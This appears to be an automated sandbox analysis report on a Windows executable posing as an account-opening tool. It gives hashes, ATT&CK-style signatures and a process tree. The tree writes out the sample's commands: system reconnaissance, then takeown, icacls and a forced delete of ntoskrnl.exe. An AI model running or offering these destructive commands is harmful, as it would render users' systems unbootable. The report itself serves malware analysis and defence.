Analysis

  • max time kernel
    64s
  • max time network
    64s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-10-2024 08:55

Errors

Reason
Machine shutdown

General

  • Target

    Furry开户工具.exe

  • Size

    370KB

  • MD5

    75be151829b2bc2e9e081c1ede0fd0e0

  • SHA1

    8cb585ca1e98abe3e3d9dfad899ba516d3583033

  • SHA256

    43ed2eb30e5053663f55617b39dc89e8cce80b896c1c57ed507dd52be94c597b

  • SHA512

    e6f88991819d41dfca51d682f28a829aa745e96e5bc674dac0e7b96e4a03ce6af5a1179fed29f9b73a0239fc695acb98b5b0f044735f9faaa55feaa3e4ca4266

  • SSDEEP

    6144:QncHno/Bv6GDKHa1no2/bMgnwj+gQjjU0zhwnJBlTK:ULvDU2/bMZjtgjxzUlTK

Malware Config

Signatures

  • Possible privilege escalation attempt 2 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
  • Unexpected DNS network traffic destination 3 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Drops file in System32 directory 3 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies data under HKEY_USERS 26 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: LoadsDriver 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Furry开户工具.exe
    "C:\Users\Admin\AppData\Local\Temp\Furry开户工具.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:2356
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wmic nicconfig get ipaddress
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:648
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic nicconfig get ipaddress
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3368
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c nslookup myip.opendns.com resolver1.opendns.com
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3440
      • C:\Windows\system32\nslookup.exe
        nslookup myip.opendns.com resolver1.opendns.com
        3⤵
          PID:2980
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c systeminfo
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4844
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:4560
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c takeown /f "C:\Windows\System32\ntoskrnl.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1960
        • C:\Windows\system32\takeown.exe
          takeown /f "C:\Windows\System32\ntoskrnl.exe"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:3424
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\ntoskrnl.exe" /grant Admin:F
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3952
        • C:\Windows\system32\icacls.exe
          icacls "C:\Windows\System32\ntoskrnl.exe" /grant Admin:F
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:5012
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c del "C:\Windows\System32\ntoskrnl.exe" /f /s /q
        2⤵
          PID:5032
      • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
        "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
        1⤵
        • Drops file in System32 directory
        • Checks processor information in registry
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Suspicious use of SetWindowsHookEx
        PID:2092
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
        1⤵
          PID:808
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
          1⤵
            PID:3372
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
            1⤵
              PID:748

            Network

            MITRE ATT&CK Enterprise v15

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